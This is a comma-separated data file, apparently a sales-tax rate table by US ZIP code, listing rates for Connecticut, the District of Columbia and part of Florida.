US-CT-06403,US,CT,06403,6.35,,,, US-CT-06404,US,CT,06404,6.35,,,, US-CT-06405,US,CT,06405,6.35,,,, US-CT-06408,US,CT,06408,6.35,,,, US-CT-06409,US,CT,06409,6.35,,,, US-CT-06410,US,CT,06410,6.35,,,, US-CT-06411,US,CT,06411,6.35,,,, US-CT-06412,US,CT,06412,6.35,,,, US-CT-06413,US,CT,06413,6.35,,,, US-CT-06414,US,CT,06414,6.35,,,, US-CT-06415,US,CT,06415,6.35,,,, US-CT-06416,US,CT,06416,6.35,,,, US-CT-06417,US,CT,06417,6.35,,,, US-CT-06418,US,CT,06418,6.35,,,, US-CT-06419,US,CT,06419,6.35,,,, US-CT-06420,US,CT,06420,6.35,,,, US-CT-06422,US,CT,06422,6.35,,,, US-CT-06423,US,CT,06423,6.35,,,, US-CT-06424,US,CT,06424,6.35,,,, US-CT-06426,US,CT,06426,6.35,,,, US-CT-06437,US,CT,06437,6.35,,,, US-CT-06438,US,CT,06438,6.35,,,, US-CT-06439,US,CT,06439,6.35,,,, US-CT-06440,US,CT,06440,6.35,,,, US-CT-06441,US,CT,06441,6.35,,,, US-CT-06442,US,CT,06442,6.35,,,, US-CT-06443,US,CT,06443,6.35,,,, US-CT-06444,US,CT,06444,6.35,,,, US-CT-06447,US,CT,06447,6.35,,,, US-CT-06450,US,CT,06450,6.35,,,, US-CT-06451,US,CT,06451,6.35,,,, US-CT-06455,US,CT,06455,6.35,,,, US-CT-06456,US,CT,06456,6.35,,,, US-CT-06457,US,CT,06457,6.35,,,, US-CT-06459,US,CT,06459,6.35,,,, US-CT-06460,US,CT,06460,6.35,,,, US-CT-06461,US,CT,06461,6.35,,,, US-CT-06467,US,CT,06467,6.35,,,, US-CT-06468,US,CT,06468,6.35,,,, US-CT-06469,US,CT,06469,6.35,,,, US-CT-06470,US,CT,06470,6.35,,,, US-CT-06471,US,CT,06471,6.35,,,, US-CT-06472,US,CT,06472,6.35,,,, US-CT-06473,US,CT,06473,6.35,,,, US-CT-06474,US,CT,06474,6.35,,,, US-CT-06475,US,CT,06475,6.35,,,, US-CT-06477,US,CT,06477,6.35,,,, US-CT-06478,US,CT,06478,6.35,,,, US-CT-06479,US,CT,06479,6.35,,,, US-CT-06480,US,CT,06480,6.35,,,, US-CT-06481,US,CT,06481,6.35,,,, US-CT-06482,US,CT,06482,6.35,,,, US-CT-06483,US,CT,06483,6.35,,,, US-CT-06484,US,CT,06484,6.35,,,, US-CT-06487,US,CT,06487,6.35,,,, US-CT-06488,US,CT,06488,6.35,,,, US-CT-06489,US,CT,06489,6.35,,,, US-CT-06491,US,CT,06491,6.35,,,, US-CT-06492,US,CT,06492,6.35,,,, US-CT-06493,US,CT,06493,6.35,,,, US-CT-06494,US,CT,06494,6.35,,,, US-CT-06495,US,CT,06495,6.35,,,, US-CT-06498,US,CT,06498,6.35,,,, US-CT-06501,US,CT,06501,6.35,,,, US-CT-06502,US,CT,06502,6.35,,,, US-CT-06503,US,CT,06503,6.35,,,, US-CT-06504,US,CT,06504,6.35,,,, US-CT-06505,US,CT,06505,6.35,,,, US-CT-06506,US,CT,06506,6.35,,,, US-CT-06507,US,CT,06507,6.35,,,, US-CT-06508,US,CT,06508,6.35,,,, US-CT-06509,US,CT,06509,6.35,,,, US-CT-06510,US,CT,06510,6.35,,,, US-CT-06511,US,CT,06511,6.35,,,, US-CT-06512,US,CT,06512,6.35,,,, US-CT-06513,US,CT,06513,6.35,,,, US-CT-06514,US,CT,06514,6.35,,,, US-CT-06515,US,CT,06515,6.35,,,, US-CT-06516,US,CT,06516,6.35,,,, US-CT-06517,US,CT,06517,6.35,,,, US-CT-06518,US,CT,06518,6.35,,,, US-CT-06519,US,CT,06519,6.35,,,, US-CT-06520,US,CT,06520,6.35,,,, US-CT-06521,US,CT,06521,6.35,,,, US-CT-06524,US,CT,06524,6.35,,,, US-CT-06525,US,CT,06525,6.35,,,, US-CT-06530,US,CT,06530,6.35,,,, US-CT-06531,US,CT,06531,6.35,,,, US-CT-06532,US,CT,06532,6.35,,,, US-CT-06533,US,CT,06533,6.35,,,, US-CT-06534,US,CT,06534,6.35,,,, US-CT-06535,US,CT,06535,6.35,,,, US-CT-06536,US,CT,06536,6.35,,,, US-CT-06537,US,CT,06537,6.35,,,, US-CT-06538,US,CT,06538,6.35,,,, US-CT-06540,US,CT,06540,6.35,,,, US-CT-06601,US,CT,06601,6.35,,,, US-CT-06602,US,CT,06602,6.35,,,, US-CT-06604,US,CT,06604,6.35,,,, US-CT-06605,US,CT,06605,6.35,,,, US-CT-06606,US,CT,06606,6.35,,,, US-CT-06607,US,CT,06607,6.35,,,, US-CT-06608,US,CT,06608,6.35,,,, US-CT-06610,US,CT,06610,6.35,,,, US-CT-06611,US,CT,06611,6.35,,,, US-CT-06612,US,CT,06612,6.35,,,, US-CT-06614,US,CT,06614,6.35,,,, US-CT-06615,US,CT,06615,6.35,,,, US-CT-06650,US,CT,06650,6.35,,,, US-CT-06673,US,CT,06673,6.35,,,, US-CT-06699,US,CT,06699,6.35,,,, US-CT-06701,US,CT,06701,6.35,,,, US-CT-06702,US,CT,06702,6.35,,,, US-CT-06703,US,CT,06703,6.35,,,, US-CT-06704,US,CT,06704,6.35,,,, US-CT-06705,US,CT,06705,6.35,,,, US-CT-06706,US,CT,06706,6.35,,,, US-CT-06708,US,CT,06708,6.35,,,, US-CT-06710,US,CT,06710,6.35,,,, US-CT-06712,US,CT,06712,6.35,,,, US-CT-06716,US,CT,06716,6.35,,,, US-CT-06720,US,CT,06720,6.35,,,, US-CT-06721,US,CT,06721,6.35,,,, US-CT-06722,US,CT,06722,6.35,,,, US-CT-06723,US,CT,06723,6.35,,,, US-CT-06724,US,CT,06724,6.35,,,, US-CT-06725,US,CT,06725,6.35,,,, US-CT-06726,US,CT,06726,6.35,,,, US-CT-06749,US,CT,06749,6.35,,,, US-CT-06750,US,CT,06750,6.35,,,, US-CT-06751,US,CT,06751,6.35,,,, US-CT-06752,US,CT,06752,6.35,,,, US-CT-06753,US,CT,06753,6.35,,,, US-CT-06754,US,CT,06754,6.35,,,, US-CT-06755,US,CT,06755,6.35,,,, US-CT-06756,US,CT,06756,6.35,,,, US-CT-06757,US,CT,06757,6.35,,,, US-CT-06758,US,CT,06758,6.35,,,, US-CT-06759,US,CT,06759,6.35,,,, US-CT-06762,US,CT,06762,6.35,,,, US-CT-06763,US,CT,06763,6.35,,,, US-CT-06770,US,CT,06770,6.35,,,, US-CT-06776,US,CT,06776,6.35,,,, US-CT-06777,US,CT,06777,6.35,,,, US-CT-06778,US,CT,06778,6.35,,,, US-CT-06779,US,CT,06779,6.35,,,, US-CT-06781,US,CT,06781,6.35,,,, US-CT-06782,US,CT,06782,6.35,,,, US-CT-06783,US,CT,06783,6.35,,,, US-CT-06784,US,CT,06784,6.35,,,, US-CT-06785,US,CT,06785,6.35,,,, US-CT-06786,US,CT,06786,6.35,,,, US-CT-06787,US,CT,06787,6.35,,,, US-CT-06790,US,CT,06790,6.35,,,, US-CT-06791,US,CT,06791,6.35,,,, US-CT-06792,US,CT,06792,6.35,,,, US-CT-06793,US,CT,06793,6.35,,,, US-CT-06794,US,CT,06794,6.35,,,, US-CT-06795,US,CT,06795,6.35,,,, US-CT-06796,US,CT,06796,6.35,,,, US-CT-06798,US,CT,06798,6.35,,,, US-CT-06801,US,CT,06801,6.35,,,, US-CT-06804,US,CT,06804,6.35,,,, US-CT-06807,US,CT,06807,6.35,,,, US-CT-06810,US,CT,06810,6.35,,,, US-CT-06811,US,CT,06811,6.35,,,, US-CT-06812,US,CT,06812,6.35,,,, US-CT-06813,US,CT,06813,6.35,,,, US-CT-06814,US,CT,06814,6.35,,,, US-CT-06816,US,CT,06816,6.35,,,, US-CT-06817,US,CT,06817,6.35,,,, US-CT-06820,US,CT,06820,6.35,,,, US-CT-06824,US,CT,06824,6.35,,,, US-CT-06825,US,CT,06825,6.35,,,, US-CT-06828,US,CT,06828,6.35,,,, US-CT-06829,US,CT,06829,6.35,,,, US-CT-06830,US,CT,06830,6.35,,,, US-CT-06831,US,CT,06831,6.35,,,, US-CT-06836,US,CT,06836,6.35,,,, US-CT-06838,US,CT,06838,6.35,,,, US-CT-06840,US,CT,06840,6.35,,,, US-CT-06850,US,CT,06850,6.35,,,, US-CT-06851,US,CT,06851,6.35,,,, US-CT-06852,US,CT,06852,6.35,,,, US-CT-06853,US,CT,06853,6.35,,,, US-CT-06854,US,CT,06854,6.35,,,, US-CT-06855,US,CT,06855,6.35,,,, US-CT-06856,US,CT,06856,6.35,,,, US-CT-06857,US,CT,06857,6.35,,,, US-CT-06858,US,CT,06858,6.35,,,, US-CT-06859,US,CT,06859,6.35,,,, US-CT-06860,US,CT,06860,6.35,,,, US-CT-06870,US,CT,06870,6.35,,,, US-CT-06875,US,CT,06875,6.35,,,, US-CT-06876,US,CT,06876,6.35,,,, US-CT-06877,US,CT,06877,6.35,,,, US-CT-06878,US,CT,06878,6.35,,,, US-CT-06879,US,CT,06879,6.35,,,, US-CT-06880,US,CT,06880,6.35,,,, US-CT-06881,US,CT,06881,6.35,,,, US-CT-06883,US,CT,06883,6.35,,,, US-CT-06888,US,CT,06888,6.35,,,, US-CT-06889,US,CT,06889,6.35,,,, US-CT-06890,US,CT,06890,6.35,,,, US-CT-06896,US,CT,06896,6.35,,,, US-CT-06897,US,CT,06897,6.35,,,, US-CT-06901,US,CT,06901,6.35,,,, US-CT-06902,US,CT,06902,6.35,,,, US-CT-06903,US,CT,06903,6.35,,,, US-CT-06904,US,CT,06904,6.35,,,, US-CT-06905,US,CT,06905,6.35,,,, US-CT-06906,US,CT,06906,6.35,,,, US-CT-06907,US,CT,06907,6.35,,,, US-CT-06910,US,CT,06910,6.35,,,, US-CT-06911,US,CT,06911,6.35,,,, US-CT-06912,US,CT,06912,6.35,,,, US-CT-06913,US,CT,06913,6.35,,,, US-CT-06914,US,CT,06914,6.35,,,, US-CT-06920,US,CT,06920,6.35,,,, US-CT-06921,US,CT,06921,6.35,,,, US-CT-06922,US,CT,06922,6.35,,,, US-CT-06925,US,CT,06925,6.35,,,, US-CT-06926,US,CT,06926,6.35,,,, US-CT-06927,US,CT,06927,6.35,,,, US-CT-06928,US,CT,06928,6.35,,,, US-DC-20001,US,DC,20001,5.75,,,, US-DC-20002,US,DC,20002,5.75,,,, US-DC-20003,US,DC,20003,5.75,,,, US-DC-20004,US,DC,20004,5.75,,,, US-DC-20005,US,DC,20005,5.75,,,, US-DC-20006,US,DC,20006,5.75,,,, US-DC-20007,US,DC,20007,5.75,,,, US-DC-20008,US,DC,20008,5.75,,,, US-DC-20009,US,DC,20009,5.75,,,, US-DC-20010,US,DC,20010,5.75,,,, US-DC-20011,US,DC,20011,5.75,,,, US-DC-20012,US,DC,20012,5.75,,,, US-DC-20013,US,DC,20013,5.75,,,, US-DC-20015,US,DC,20015,5.75,,,, US-DC-20016,US,DC,20016,5.75,,,, US-DC-20017,US,DC,20017,5.75,,,, US-DC-20018,US,DC,20018,5.75,,,, US-DC-20019,US,DC,20019,5.75,,,, US-DC-20020,US,DC,20020,5.75,,,, US-DC-20022,US,DC,20022,5.75,,,, US-DC-20023,US,DC,20023,5.75,,,, US-DC-20024,US,DC,20024,5.75,,,, US-DC-20026,US,DC,20026,5.75,,,, US-DC-20027,US,DC,20027,5.75,,,, US-DC-20029,US,DC,20029,5.75,,,, US-DC-20030,US,DC,20030,5.75,,,, US-DC-20032,US,DC,20032,5.75,,,, US-DC-20033,US,DC,20033,5.75,,,, US-DC-20035,US,DC,20035,5.75,,,, US-DC-20036,US,DC,20036,5.75,,,, US-DC-20037,US,DC,20037,5.75,,,, US-DC-20038,US,DC,20038,5.75,,,, US-DC-20039,US,DC,20039,5.75,,,, US-DC-20040,US,DC,20040,5.75,,,, US-DC-20042,US,DC,20042,5.75,,,, US-DC-20043,US,DC,20043,5.75,,,, US-DC-20044,US,DC,20044,5.75,,,, US-DC-20045,US,DC,20045,5.75,,,, US-DC-20046,US,DC,20046,5.75,,,, US-DC-20047,US,DC,20047,5.75,,,, US-DC-20049,US,DC,20049,5.75,,,, US-DC-20050,US,DC,20050,5.75,,,, US-DC-20051,US,DC,20051,5.75,,,, US-DC-20052,US,DC,20052,5.75,,,, US-DC-20053,US,DC,20053,5.75,,,, US-DC-20055,US,DC,20055,5.75,,,, US-DC-20056,US,DC,20056,5.75,,,, US-DC-20057,US,DC,20057,5.75,,,, US-DC-20058,US,DC,20058,5.75,,,, US-DC-20059,US,DC,20059,5.75,,,, US-DC-20060,US,DC,20060,5.75,,,, US-DC-20061,US,DC,20061,5.75,,,, US-DC-20062,US,DC,20062,5.75,,,, US-DC-20063,US,DC,20063,5.75,,,, US-DC-20064,US,DC,20064,5.75,,,, US-DC-20065,US,DC,20065,5.75,,,, US-DC-20066,US,DC,20066,5.75,,,, US-DC-20067,US,DC,20067,5.75,,,, US-DC-20068,US,DC,20068,5.75,,,, US-DC-20069,US,DC,20069,5.75,,,, US-DC-20070,US,DC,20070,5.75,,,, US-DC-20071,US,DC,20071,5.75,,,, US-DC-20073,US,DC,20073,5.75,,,, US-DC-20074,US,DC,20074,5.75,,,, US-DC-20075,US,DC,20075,5.75,,,, US-DC-20076,US,DC,20076,5.75,,,, US-DC-20077,US,DC,20077,5.75,,,, US-DC-20078,US,DC,20078,5.75,,,, US-DC-20080,US,DC,20080,5.75,,,, US-DC-20081,US,DC,20081,5.75,,,, US-DC-20082,US,DC,20082,5.75,,,, US-DC-20088,US,DC,20088,5.75,,,, US-DC-20090,US,DC,20090,5.75,,,, US-DC-20091,US,DC,20091,5.75,,,, US-DC-20097,US,DC,20097,5.75,,,, US-DC-20098,US,DC,20098,5.75,,,, US-DC-20201,US,DC,20201,5.75,,,, US-DC-20202,US,DC,20202,5.75,,,, US-DC-20203,US,DC,20203,5.75,,,, US-DC-20204,US,DC,20204,5.75,,,, US-DC-20206,US,DC,20206,5.75,,,, US-DC-20207,US,DC,20207,5.75,,,, US-DC-20208,US,DC,20208,5.75,,,, US-DC-20210,US,DC,20210,5.75,,,, US-DC-20211,US,DC,20211,5.75,,,, US-DC-20212,US,DC,20212,5.75,,,, US-DC-20213,US,DC,20213,5.75,,,, US-DC-20214,US,DC,20214,5.75,,,, US-DC-20215,US,DC,20215,5.75,,,, US-DC-20216,US,DC,20216,5.75,,,, US-DC-20217,US,DC,20217,5.75,,,, US-DC-20218,US,DC,20218,5.75,,,, US-DC-20219,US,DC,20219,5.75,,,, US-DC-20220,US,DC,20220,5.75,,,, US-DC-20221,US,DC,20221,5.75,,,, US-DC-20222,US,DC,20222,5.75,,,, US-DC-20223,US,DC,20223,5.75,,,, US-DC-20224,US,DC,20224,5.75,,,, US-DC-20226,US,DC,20226,5.75,,,, US-DC-20227,US,DC,20227,5.75,,,, US-DC-20228,US,DC,20228,5.75,,,, US-DC-20229,US,DC,20229,5.75,,,, US-DC-20230,US,DC,20230,5.75,,,, US-DC-20232,US,DC,20232,5.75,,,, US-DC-20233,US,DC,20233,5.75,,,, US-DC-20235,US,DC,20235,5.75,,,, US-DC-20237,US,DC,20237,5.75,,,, US-DC-20238,US,DC,20238,5.75,,,, US-DC-20239,US,DC,20239,5.75,,,, US-DC-20240,US,DC,20240,5.75,,,, US-DC-20241,US,DC,20241,5.75,,,, US-DC-20242,US,DC,20242,5.75,,,, US-DC-20244,US,DC,20244,5.75,,,, US-DC-20245,US,DC,20245,5.75,,,, US-DC-20250,US,DC,20250,5.75,,,, US-DC-20251,US,DC,20251,5.75,,,, US-DC-20254,US,DC,20254,5.75,,,, US-DC-20260,US,DC,20260,5.75,,,, US-DC-20261,US,DC,20261,5.75,,,, US-DC-20262,US,DC,20262,5.75,,,, US-DC-20265,US,DC,20265,5.75,,,, US-DC-20266,US,DC,20266,5.75,,,, US-DC-20268,US,DC,20268,5.75,,,, US-DC-20270,US,DC,20270,5.75,,,, US-DC-20277,US,DC,20277,5.75,,,, US-DC-20289,US,DC,20289,5.75,,,, US-DC-20299,US,DC,20299,5.75,,,, US-DC-20301,US,DC,20301,5.75,,,, US-DC-20303,US,DC,20303,5.75,,,, US-DC-20306,US,DC,20306,5.75,,,, US-DC-20307,US,DC,20307,5.75,,,, US-DC-20310,US,DC,20310,5.75,,,, US-DC-20314,US,DC,20314,5.75,,,, US-DC-20317,US,DC,20317,5.75,,,, US-DC-20318,US,DC,20318,5.75,,,, US-DC-20319,US,DC,20319,5.75,,,, US-DC-20330,US,DC,20330,5.75,,,, US-DC-20340,US,DC,20340,5.75,,,, US-DC-20350,US,DC,20350,5.75,,,, US-DC-20355,US,DC,20355,5.75,,,, US-DC-20370,US,DC,20370,5.75,,,, US-DC-20372,US,DC,20372,5.75,,,, US-DC-20373,US,DC,20373,5.75,,,, US-DC-20374,US,DC,20374,5.75,,,, US-DC-20375,US,DC,20375,5.75,,,, US-DC-20376,US,DC,20376,5.75,,,, US-DC-20380,US,DC,20380,5.75,,,, US-DC-20388,US,DC,20388,5.75,,,, US-DC-20389,US,DC,20389,5.75,,,, US-DC-20390,US,DC,20390,5.75,,,, US-DC-20391,US,DC,20391,5.75,,,, US-DC-20392,US,DC,20392,5.75,,,, US-DC-20393,US,DC,20393,5.75,,,, US-DC-20394,US,DC,20394,5.75,,,, US-DC-20395,US,DC,20395,5.75,,,, US-DC-20398,US,DC,20398,5.75,,,, US-DC-20401,US,DC,20401,5.75,,,, US-DC-20402,US,DC,20402,5.75,,,, US-DC-20403,US,DC,20403,5.75,,,, US-DC-20404,US,DC,20404,5.75,,,, US-DC-20405,US,DC,20405,5.75,,,, US-DC-20406,US,DC,20406,5.75,,,, US-DC-20407,US,DC,20407,5.75,,,, US-DC-20408,US,DC,20408,5.75,,,, US-DC-20409,US,DC,20409,5.75,,,, US-DC-20410,US,DC,20410,5.75,,,, US-DC-20411,US,DC,20411,5.75,,,, US-DC-20412,US,DC,20412,5.75,,,, US-DC-20413,US,DC,20413,5.75,,,, US-DC-20414,US,DC,20414,5.75,,,, US-DC-20415,US,DC,20415,5.75,,,, US-DC-20416,US,DC,20416,5.75,,,, US-DC-20417,US,DC,20417,5.75,,,, US-DC-20418,US,DC,20418,5.75,,,, US-DC-20419,US,DC,20419,5.75,,,, US-DC-20420,US,DC,20420,5.75,,,, US-DC-20421,US,DC,20421,5.75,,,, US-DC-20422,US,DC,20422,5.75,,,, US-DC-20423,US,DC,20423,5.75,,,, US-DC-20424,US,DC,20424,5.75,,,, US-DC-20425,US,DC,20425,5.75,,,, US-DC-20426,US,DC,20426,5.75,,,, US-DC-20427,US,DC,20427,5.75,,,, US-DC-20428,US,DC,20428,5.75,,,, US-DC-20429,US,DC,20429,5.75,,,, US-DC-20431,US,DC,20431,5.75,,,, US-DC-20433,US,DC,20433,5.75,,,, US-DC-20434,US,DC,20434,5.75,,,, US-DC-20435,US,DC,20435,5.75,,,, US-DC-20436,US,DC,20436,5.75,,,, US-DC-20437,US,DC,20437,5.75,,,, US-DC-20439,US,DC,20439,5.75,,,, US-DC-20440,US,DC,20440,5.75,,,, US-DC-20441,US,DC,20441,5.75,,,, US-DC-20442,US,DC,20442,5.75,,,, US-DC-20444,US,DC,20444,5.75,,,, US-DC-20447,US,DC,20447,5.75,,,, US-DC-20451,US,DC,20451,5.75,,,, US-DC-20453,US,DC,20453,5.75,,,, US-DC-20456,US,DC,20456,5.75,,,, US-DC-20460,US,DC,20460,5.75,,,, US-DC-20463,US,DC,20463,5.75,,,, US-DC-20468,US,DC,20468,5.75,,,, US-DC-20469,US,DC,20469,5.75,,,, US-DC-20470,US,DC,20470,5.75,,,, US-DC-20472,US,DC,20472,5.75,,,, US-DC-20500,US,DC,20500,5.75,,,, US-DC-20501,US,DC,20501,5.75,,,, US-DC-20502,US,DC,20502,5.75,,,, US-DC-20503,US,DC,20503,5.75,,,, US-DC-20504,US,DC,20504,5.75,,,, US-DC-20505,US,DC,20505,5.75,,,, US-DC-20506,US,DC,20506,5.75,,,, US-DC-20507,US,DC,20507,5.75,,,, US-DC-20508,US,DC,20508,5.75,,,, US-DC-20509,US,DC,20509,5.75,,,, US-DC-20510,US,DC,20510,5.75,,,, US-DC-20511,US,DC,20511,5.75,,,, US-DC-20515,US,DC,20515,5.75,,,, US-DC-20520,US,DC,20520,5.75,,,, US-DC-20521,US,DC,20521,5.75,,,, US-DC-20522,US,DC,20522,5.75,,,, US-DC-20523,US,DC,20523,5.75,,,, US-DC-20524,US,DC,20524,5.75,,,, US-DC-20525,US,DC,20525,5.75,,,, US-DC-20526,US,DC,20526,5.75,,,, US-DC-20527,US,DC,20527,5.75,,,, US-DC-20528,US,DC,20528,5.75,,,, US-DC-20529,US,DC,20529,5.75,,,, US-DC-20530,US,DC,20530,5.75,,,, US-DC-20531,US,DC,20531,5.75,,,, US-DC-20532,US,DC,20532,5.75,,,, US-DC-20533,US,DC,20533,5.75,,,, US-DC-20534,US,DC,20534,5.75,,,, US-DC-20535,US,DC,20535,5.75,,,, US-DC-20536,US,DC,20536,5.75,,,, US-DC-20537,US,DC,20537,5.75,,,, US-DC-20538,US,DC,20538,5.75,,,, US-DC-20539,US,DC,20539,5.75,,,, US-DC-20540,US,DC,20540,5.75,,,, US-DC-20541,US,DC,20541,5.75,,,, US-DC-20542,US,DC,20542,5.75,,,, US-DC-20543,US,DC,20543,5.75,,,, US-DC-20544,US,DC,20544,5.75,,,, US-DC-20546,US,DC,20546,5.75,,,, US-DC-20547,US,DC,20547,5.75,,,, US-DC-20548,US,DC,20548,5.75,,,, US-DC-20549,US,DC,20549,5.75,,,, US-DC-20551,US,DC,20551,5.75,,,, US-DC-20552,US,DC,20552,5.75,,,, US-DC-20553,US,DC,20553,5.75,,,, US-DC-20554,US,DC,20554,5.75,,,, US-DC-20555,US,DC,20555,5.75,,,, US-DC-20557,US,DC,20557,5.75,,,, US-DC-20558,US,DC,20558,5.75,,,, US-DC-20559,US,DC,20559,5.75,,,, US-DC-20560,US,DC,20560,5.75,,,, US-DC-20565,US,DC,20565,5.75,,,, US-DC-20566,US,DC,20566,5.75,,,, US-DC-20570,US,DC,20570,5.75,,,, US-DC-20571,US,DC,20571,5.75,,,, US-DC-20572,US,DC,20572,5.75,,,, US-DC-20573,US,DC,20573,5.75,,,, US-DC-20575,US,DC,20575,5.75,,,, US-DC-20576,US,DC,20576,5.75,,,, US-DC-20577,US,DC,20577,5.75,,,, US-DC-20578,US,DC,20578,5.75,,,, US-DC-20579,US,DC,20579,5.75,,,, US-DC-20580,US,DC,20580,5.75,,,, US-DC-20581,US,DC,20581,5.75,,,, US-DC-20585,US,DC,20585,5.75,,,, US-DC-20586,US,DC,20586,5.75,,,, US-DC-20590,US,DC,20590,5.75,,,, US-DC-20591,US,DC,20591,5.75,,,, US-DC-20593,US,DC,20593,5.75,,,, US-DC-20594,US,DC,20594,5.75,,,, US-DC-20597,US,DC,20597,5.75,,,, US-DC-20599,US,DC,20599,5.75,,,, US-DC-56901,US,DC,56901,5.75,,,, US-DC-56902,US,DC,56902,5.75,,,, US-DC-56904,US,DC,56904,5.75,,,, US-DC-56915,US,DC,56915,5.75,,,, US-DC-56920,US,DC,56920,5.75,,,, US-DC-56933,US,DC,56933,5.75,,,, US-DC-56944,US,DC,56944,5.75,,,, US-DC-56945,US,DC,56945,5.75,,,, US-DC-56950,US,DC,56950,5.75,,,, US-DC-56965,US,DC,56965,5.75,,,, US-DC-56967,US,DC,56967,5.75,,,, US-DC-56972,US,DC,56972,5.75,,,, US-DC-56999,US,DC,56999,5.75,,,, US-FL-32003,US,FL,32003,7,,,, US-FL-32004,US,FL,32004,6,,,, US-FL-32006,US,FL,32006,7,,,, US-FL-32007,US,FL,32007,7,,,, US-FL-32008,US,FL,32008,7,,,, US-FL-32009,US,FL,32009,7,,,, US-FL-32011,US,FL,32011,7,,,, US-FL-32013,US,FL,32013,7,,,, US-FL-32024,US,FL,32024,7,,,, US-FL-32025,US,FL,32025,7,,,, US-FL-32030,US,FL,32030,7,,,, US-FL-32033,US,FL,32033,6,,,, US-FL-32034,US,FL,32034,7,,,, US-FL-32035,US,FL,32035,7,,,, US-FL-32038,US,FL,32038,7,,,, US-FL-32040,US,FL,32040,7,,,, US-FL-32041,US,FL,32041,7,,,, US-FL-32042,US,FL,32042,7,,,, US-FL-32043,US,FL,32043,7,,,, US-FL-32044,US,FL,32044,7,,,, US-FL-32046,US,FL,32046,7,,,, US-FL-32050,US,FL,32050,7,,,, US-FL-32052,US,FL,32052,7,,,, US-FL-32053,US,FL,32053,7,,,, US-FL-32054,US,FL,32054,7,,,, US-FL-32055,US,FL,32055,7,,,, US-FL-32056,US,FL,32056,7,,,, US-FL-32058,US,FL,32058,7,,,, US-FL-32059,US,FL,32059,7.5,,,, US-FL-32060,US,FL,32060,7,,,, US-FL-32061,US,FL,32061,7,,,, US-FL-32062,US,FL,32062,7,,,, US-FL-32063,US,FL,32063,7,,,, US-FL-32064,US,FL,32064,7,,,, US-FL-32065,US,FL,32065,7,,,, US-FL-32066,US,FL,32066,7,,,, US-FL-32067,US,FL,32067,7,,,, US-FL-32068,US,FL,32068,7,,,, US-FL-32071,US,FL,32071,7,,,, US-FL-32072,US,FL,32072,7,,,, US-FL-32073,US,FL,32073,7,,,, US-FL-32079,US,FL,32079,7,,,, US-FL-32080,US,FL,32080,6,,,, US-FL-32081,US,FL,32081,6,,,, US-FL-32082,US,FL,32082,6,,,, US-FL-32083,US,FL,32083,7,,,, US-FL-32084,US,FL,32084,6,,,, US-FL-32085,US,FL,32085,6,,,, US-FL-32086,US,FL,32086,6,,,, US-FL-32087,US,FL,32087,7,,,, US-FL-32091,US,FL,32091,7,,,, US-FL-32092,US,FL,32092,6,,,, US-FL-32094,US,FL,32094,7,,,, US-FL-32095,US,FL,32095,6,,,, US-FL-32096,US,FL,32096,7,,,, US-FL-32097,US,FL,32097,7,,,, US-FL-32099,US,FL,32099,7,,,, US-FL-32102,US,FL,32102,7,,,, US-FL-32105,US,FL,32105,6.5,,,, US-FL-32110,US,FL,32110,7,,,, US-FL-32111,US,FL,32111,6,,,, US-FL-32112,US,FL,32112,7,,,, US-FL-32113,US,FL,32113,6,,,, US-FL-32114,US,FL,32114,6.5,,,, US-FL-32115,US,FL,32115,6.5,,,, US-FL-32116,US,FL,32116,6.5,,,, US-FL-32117,US,FL,32117,6.5,,,, US-FL-32118,US,FL,32118,6.5,,,, US-FL-32119,US,FL,32119,6.5,,,, US-FL-32120,US,FL,32120,6.5,,,, US-FL-32121,US,FL,32121,6.5,,,, US-FL-32122,US,FL,32122,6.5,,,, US-FL-32123,US,FL,32123,6.5,,,, US-FL-32124,US,FL,32124,6.5,,,, US-FL-32125,US,FL,32125,6.5,,,, US-FL-32126,US,FL,32126,6.5,,,, US-FL-32127,US,FL,32127,6.5,,,, US-FL-32128,US,FL,32128,6.5,,,, US-FL-32129,US,FL,32129,6.5,,,, US-FL-32130,US,FL,32130,6.5,,,, US-FL-32131,US,FL,32131,7,,,, US-FL-32132,US,FL,32132,6.5,,,, US-FL-32133,US,FL,32133,6,,,, US-FL-32134,US,FL,32134,6,,,, US-FL-32135,US,FL,32135,7,,,, US-FL-32136,US,FL,32136,7,,,, US-FL-32137,US,FL,32137,7,,,, US-FL-32138,US,FL,32138,7,,,, US-FL-32139,US,FL,32139,7,,,, US-FL-32140,US,FL,32140,7,,,, US-FL-32141,US,FL,32141,6.5,,,, US-FL-32142,US,FL,32142,7,,,, US-FL-32143,US,FL,32143,7,,,, US-FL-32145,US,FL,32145,6,,,, US-FL-32147,US,FL,32147,7,,,, US-FL-32148,US,FL,32148,7,,,, US-FL-32149,US,FL,32149,7,,,, US-FL-32157,US,FL,32157,7,,,, US-FL-32158,US,FL,32158,7,,,, US-FL-32159,US,FL,32159,7,,,, US-FL-32160,US,FL,32160,7,,,, US-FL-32162,US,FL,32162,7,,,, US-FL-32163,US,FL,32163,7,,,, US-FL-32164,US,FL,32164,7,,,, US-FL-32168,US,FL,32168,6.5,,,, US-FL-32169,US,FL,32169,6.5,,,, US-FL-32170,US,FL,32170,6.5,,,, US-FL-32173,US,FL,32173,6.5,,,, US-FL-32174,US,FL,32174,6.5,,,, US-FL-32175,US,FL,32175,6.5,,,, US-FL-32176,US,FL,32176,6.5,,,, US-FL-32177,US,FL,32177,7,,,, US-FL-32178,US,FL,32178,7,,,, US-FL-32179,US,FL,32179,6,,,, US-FL-32180,US,FL,32180,6.5,,,, US-FL-32181,US,FL,32181,7,,,, US-FL-32182,US,FL,32182,6,,,, US-FL-32183,US,FL,32183,6,,,, US-FL-32185,US,FL,32185,7,,,, US-FL-32187,US,FL,32187,7,,,, US-FL-32189,US,FL,32189,7,,,, US-FL-32190,US,FL,32190,6.5,,,, US-FL-32192,US,FL,32192,6,,,, US-FL-32193,US,FL,32193,7,,,, US-FL-32195,US,FL,32195,6,,,, US-FL-32198,US,FL,32198,6.5,,,, US-FL-32201,US,FL,32201,7,,,, US-FL-32202,US,FL,32202,7,,,, US-FL-32203,US,FL,32203,7,,,, US-FL-32204,US,FL,32204,7,,,, US-FL-32205,US,FL,32205,7,,,, US-FL-32206,US,FL,32206,7,,,, US-FL-32207,US,FL,32207,7,,,, US-FL-32208,US,FL,32208,7,,,, US-FL-32209,US,FL,32209,7,,,, US-FL-32210,US,FL,32210,7,,,, US-FL-32211,US,FL,32211,7,,,, US-FL-32212,US,FL,32212,7,,,, US-FL-32214,US,FL,32214,7,,,, US-FL-32216,US,FL,32216,7,,,, US-FL-32217,US,FL,32217,7,,,, US-FL-32218,US,FL,32218,7,,,, US-FL-32219,US,FL,32219,7,,,, US-FL-32220,US,FL,32220,7,,,, US-FL-32221,US,FL,32221,7,,,, US-FL-32222,US,FL,32222,7,,,, 